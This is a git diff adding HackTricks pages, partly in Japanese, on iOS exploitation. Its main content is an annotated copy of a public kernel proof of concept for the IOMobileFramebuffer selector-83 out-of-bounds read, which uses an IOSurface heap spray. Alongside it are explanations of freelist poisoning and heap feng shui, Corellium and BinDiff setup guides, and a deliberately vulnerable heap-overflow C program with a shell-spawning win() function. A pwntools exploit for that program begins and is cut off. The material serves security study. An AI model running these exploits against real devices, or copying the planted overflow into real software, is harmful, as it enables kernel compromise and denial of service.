Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC Explained + +1. **Opening the right user client** + +- `get_appleclcd_uc()` は **AppleCLCD** サービスを見つけ、**user client type 2** を開く。AppleCLCD と IOMobileFramebuffer は同じ external-methods テーブルを共有しており；type 2 は **selector 83**（脆弱なメソッド）を公開している。**これはバグへの入口です。** E_POC/) + +**Why 83 matters:** the decompiled path is: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` は **`IOSurfaceRootUserClient`** を使って **多数の IOSurface を作成**し、**小さな値を spray**（`s_set_value` スタイル）する。これによりカーネル近傍のヒープが **有効な IOSurface オブジェクトへのポインタで埋められる。** + +- **Goal:** selector 83 が正規のテーブルを越えて読み込むと、その **OOB スロットにはあなたの（実際の）IOSurface へのポインタが入っている可能性が高く**、その後の dereference は **クラッシュせず成功する**。IOSurface は古典的でよく文書化されたカーネル spray primitive で、Saar の投稿はこのエクスプロイトフローで使用される **create / set_value / lookup** メソッドを明確に列挙している。 + +3. **The "offset/8" trick (what that index really is)** + +- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`. + +- **Why divide by 8?** カーネルは **`base + index*8`** を使って読み取る **ポインタサイズのスロット** を計算する。つまりバイトオフセットではなく **「スロット番号 N」** を選んでいる。64-bit ではスロットは **8 バイト**。 + +- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.** + +4. **What selector 83 returns (this is the subtle part)** + +- The call is: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Internally, after the OOB pointer fetch, the driver calls\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation. + +**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like: + +- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and + +- **`s_create_port_from_surface` (method 35)** if you need the inverse.\ +Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## 参考文献 +- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..53cb7df9f --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,269 @@ +# iOS のエクスプロイト + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** は、iOS 上で実行可能なすべてのコード（アプリ、ライブラリ、extension など）に対して Apple 発行の証明書で暗号的に署名することを要求する仕組みです。コードがロードされると、iOS はデジタル署名を Apple の信頼されたルートと照合します。署名が無効、欠落、または改変されている場合、OS は実行を拒否します。これにより、攻撃者が正規アプリに悪意のあるコードを注入したり、署名されていないバイナリを実行したりすることが防がれ、任意または改ざんされたコード実行に依存する多くのエクスプロイトチェーンが阻止されます。 +- **CoreTrust** はランタイムでのコード署名を強制する iOS のサブシステムです。キャッシュされた信頼ストアに依存せず Apple のルート証明書を直接用いて署名を検証するため、Apple によって署名された（または有効な entitlements を持つ）バイナリのみが実行可能になります。CoreTrust により、インストール後にアプリが改ざんされたり、システムライブラリが変更されたり、未署名コードをロードしようとする試みがあっても、正しく署名されていなければ実行はブロックされます。この厳格な強制により、古い iOS バージョンで弱い、または回避可能だった署名チェックを突く多くのポストエクスプロイト経路が閉じられます。 +- **Data Execution Prevention (DEP)** は、明示的にコードを含む場合を除いてメモリ領域を実行不可としてマークします。これにより、攻撃者がデータ領域（スタックやヒープなど）に shellcode を注入して実行することが防がれ、ROP（Return-Oriented Programming）のようなより複雑な技術に頼らざるを得なくなります。 +- **ASLR (Address Space Layout Randomization)** は、コード、ライブラリ、スタック、ヒープのメモリアドレスを実行ごとにランダム化します。これにより、攻撃者が有用な命令やガジェットの位置を予測することが難しくなり、固定メモリレイアウトに依存する多くのエクスプロイトチェーンが破綻します。 +- **KASLR (Kernel ASLR)** は同じランダム化の概念を iOS カーネルに適用します。各ブート時にカーネルのベースアドレスをシャッフルすることで、攻撃者がカーネル関数や構造体の位置を確実に特定することを防ぎ、フルシステム制御を狙うカーネルレベルのエクスプロイトの難易度を上げます。 +- **Kernel Patch Protection (KPP)**（iOS では **AMCC (Apple Mobile File Integrity)** とも呼ばれる）は、カーネルのコードページが変更されていないかを継続的に監視します。もしカーネル関数をパッチしたり悪意あるコードを挿入したりするような改ざんが検出されると、デバイスは即座に panic を起こして再起動します。この保護により、持続的なカーネルエクスプロイトは非常に困難になります。攻撃者が単純にカーネル命令をフックやパッチするだけではシステムクラッシュを招くためです。 +- **Kernel Text Readonly Region (KTRR)** は iOS デバイスに導入されたハードウェアベースのセキュリティ機能です。CPU のメモリコントローラを用いてカーネルのコード（text）セクションをブート後に恒久的に読み取り専用としてマークします。一度ロックされると、カーネル自身でさえもこのメモリ領域を変更できません。これにより、攻撃者や特権コードでさえランタイムでカーネル命令をパッチすることができなくなり、カーネルコードを直接改変することで成立していた多くのエクスプロイト群が防がれます。 +- **Pointer Authentication Codes (PAC)** は、未使用ビットに埋め込まれた暗号署名を用いてポインタの整合性を使用前に検証します。ポインタ（リターンアドレスや関数ポインタなど）が作成されると、CPU は秘密鍵でそれに署名し、参照する前に署名を検証します。ポインタが改ざんされていれば検証は失敗し、実行は停止します。これにより、攻撃者がメモリ破壊バグで偽造したり再利用したりすることが困難になり、ROP や JOP のような技術の確実な実行が難しくなります。 +- **Privilege Access never (PAN)** はハードウェア機能で、カーネル（特権モード）が明示的にアクセスを許可しない限りユーザ空間メモリに直接アクセスすることを防ぎます。これにより、カーネルコード実行を獲得した攻撃者がユーザメモリを簡単に読み書きして権限を昇格させたり機密データを盗んだりすることが阻止されます。厳格な分離を強制することで、PAN はカーネルエクスプロイトの影響を低減し、多くの一般的な権限昇格手法をブロックします。 +- **Page Protection Layer (PPL)** は、特にコード署名や entitlements に関連する重要なカーネル管理下のメモリ領域を保護する iOS のセキュリティ機構です。MMU（Memory Management Unit）と追加のチェックを用いて厳格な書き込み保護を強制し、特権のあるカーネルコードであっても敏感なページを恣意的に変更できないようにします。これによりカーネルレベルの実行を獲得した攻撃者でもセキュリティに重要な構造体を改ざんすることが難しくなり、持続性やコード署名回避が著しく困難になります。 + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +カーネルは固定サイズの「zone」に分割された**zone allocator**（`kalloc`）を使用していました。 +各 zone は単一のサイズクラスの割り当てのみを格納します。 + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | 非常に小さなカーネル構造体、ポインタ。 | +| `default.kalloc.32` | 32 bytes | 小さな構造体、オブジェクトヘッダ。 | +| `default.kalloc.64` | 64 bytes | IPC メッセージ、小さなカーネルバッファ。 | +| `default.kalloc.128` | 128 bytes | `OSObject` の一部のような中程度のオブジェクト。 | +| `default.kalloc.256` | 256 bytes | 大きめの IPC メッセージ、配列、デバイス構造体。 | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | 大きな構造体、IOSurface/グラフィックスのメタデータ。 | + +How it worked: +- 各割り当て要求は最も近い zone サイズに**切り上げ**られました。 +（例：50 バイトの要求は `kalloc.64` zone に入ります）。 +- 各 zone のメモリは **freelist** に保持されていました — カーネルによって解放されたチャンクはその zone に戻ります。 +- もし 64 バイトのバッファをオーバーフローすると、同一 zone 内の**次のオブジェクト**を上書きすることになります。 + +これが、なぜ **heap spraying / feng shui** が非常に効果的だったかの理由です：同じサイズクラスの割り当てを大量に撒くことで、オブジェクトの隣接関係を予測できたのです。 + +### The freelist + +各 kalloc zone の内部では、解放されたオブジェクトはシステムに直接返されず、利用可能なチャンクのリンクリストである freelist に入れられていました。 + +- チャンクが解放されると、カーネルはそのチャンクの先頭にポインタを書き込み → 同じ zone 内の次の free チャンクのアドレスを格納します。 + +- zone は最初の free チャンクを指す HEAD ポインタを保持していました。 + +- 割り当ては常に現在の HEAD を使用していました： + +1. HEAD をポップ（そのメモリを呼び出し元に返す）。 + +2. HEAD = HEAD->next に更新（解放されたチャンクのヘッダに格納されている）。 + +- 解放はチャンクを戻す動作でした： + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +つまり freelist は、解放されたメモリ自身の中に構築された単なるリンクリストでした。 + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### freelist を悪用する + +free chunk の最初の8バイトが freelist pointer に相当するため、攻撃者はそれを改ざんできる: + +1. **Heap overflow** により隣接する freed chunk に侵入 → “next” pointer を上書きする。 +2. **Use-after-free** で freed object に書き込み → “next” pointer を上書きする。 + +次にそのサイズの allocation が行われると: + +- allocator は改ざんされた chunk を pop する。 +- attacker-supplied “next” pointer を辿る。 +- 任意のメモリへの pointer を返し、fake object primitives や targeted overwrite を可能にする。 + +Visual example of freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) +- Over time, the kernel heap gets fragmented: some zones have holes where old +objects were freed. +- The attacker first makes lots of dummy allocations to fill these gaps, so +the heap becomes “packed” and predictable. + +2. Force new pages +- Once the holes are filled, the next allocations must come from new pages +added to the zone. +- Fresh pages mean objects will be clustered together, not scattered across +old fragmented memory. +- This gives the attacker much better control of neighbors. + +3. Place attacker objects +- The attacker now sprays again, creating lots of attacker-controlled objects +in those new pages. +- These objects are predictable in size and placement (since they all belong +to the same zone). + +4. Free a controlled object (make a gap) +- The attacker deliberately frees one of their own objects. +- This creates a “hole” in the heap, which the allocator will later reuse for +the next allocation of that size. + +5. Victim object lands in the hole +- The attacker triggers the kernel to allocate the victim object (the one +they want to corrupt). +- Since the hole is the first available slot in the freelist, the victim is +placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim +- Now the attacker has attacker-controlled objects around the victim. +- By overflowing from one of their own objects (or reusing a freed one), they +can reliably overwrite the victim’s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from +the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits +next to it. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple hardened the allocator and made **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects. +- **Now**: +- Kernel objects are allocated from **typed zones** (`kalloc_type`). +- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size. +- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: +1. Try per-CPU cache. +2. If empty, pull from the global freelist. +3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). +- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. +- This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you can’t modify all of kernel memory: +- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. +- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they don’t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel. + +But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found → return one. +- If empty → go to global freelist. +- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data won’t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..1924e92a0 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS Corellium に接続する方法 + +{{#include ../../banners/hacktricks-training.md}} + +## **前提条件** +- Corellium の iOS VM（jailbroken 可）。このガイドでは Corellium へのアクセスがあることを前提とします。 +- ローカルツール: **ssh/scp**. +- （オプション）パスワードレスログイン用に **SSH keys** を Corellium プロジェクトに追加しておく。 + + +## **ローカルホストから iPhone VM に接続する方法** + +### A) **Quick Connect (no VPN)** +0) **`/admin/projects`** に ssh key を追加する（推奨）。 +1) デバイスページを開く → **Connect** +2) Corellium に表示される **Quick Connect SSH command** をコピーして端末に貼り付ける。 +3) パスワードを入力するか、（推奨）SSH key を使用する。 + +### B) **VPN → direct SSH** +0) **`/admin/projects`** に ssh key を追加する（推奨）。 +1) デバイスページ → **CONNECT** → **VPN** → `.ovpn` をダウンロードし、TAP モードをサポートする任意の VPN クライアントで接続する。（問題がある場合は [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) を確認） +2) VM の **10.11.x.x** アドレスに SSH で接続: +```bash +ssh root@10.11.1.1 +``` +## **ネイティブバイナリをアップロードして実行する** + +### 2.1 **アップロード** +- もし Quick Connect が host/port を教えてくれた場合: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- VPN (10.11.x.x) を使用している場合: +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **iOSアプリをアップロード＆インストール (.ipa)** + +### パス A — **Web UI（最速）** +1) Deviceページ → **Apps** タブ → **Install App** → `.ipa` を選択。 +2) 同じタブから **launch/kill/uninstall** が可能。 + +### パス B — **Scripted via Corellium Agent** +1) API Agent を使って **upload** し、続けて **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Non-jailbroken (適切な署名 / Sideloadly)** +- プロビジョニングプロファイルがない場合、**Sideloadly** を使って Apple ID で再署名するか、Xcode にサインインしてください。 +- また、**USBFlux** を使って VM を Xcode から利用できるようにすることもできます（§5参照）。 + + +- SSH がなくても素早くログやコマンドを確認したい場合は、UI のデバイス **Console** を使用してください。 + +## **補足** + +- **Port-forwarding** (他のツールから VM をローカルのように扱えるようにする): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: デバイスページ下部に表示される **LLDB/GDB stub** アドレスを使用してください (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: VM を **Xcode/Sideloadly** にケーブル接続されたデバイスのように認識させます。 + + +## **よくある落とし穴** +- **Proper signing** は **non-jailbroken** デバイスで必要です。unsigned IPAs は起動しません。 +- **Quick Connect vs VPN**: Quick Connect が最も簡単です。デバイスをローカルネットワーク上で使う必要がある場合（例: ローカルプロキシ/ツール）は **VPN** を使用してください。 +- Corellium デバイスには **App Store** がありません。自分で (re)signed IPAs を用意してください。 + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..962ea18c0 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS で Corellium に接続する方法 + +{{#include ../../banners/hacktricks-training.md}} + +## 脆弱性のあるコード +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +次のコマンドでコンパイルする: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> このエクスプロイトは環境変数 `MallocNanoZone=0` を設定して NanoZone を無効化しています。これは小さいサイズで `malloc` を呼び出したときに隣接する割り当てを得るために必要です。これを行わないと、異なる `malloc` は別々のゾーンに割り当てられ、隣接しなくなるため、overflow は期待どおりに動作しません。 +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = 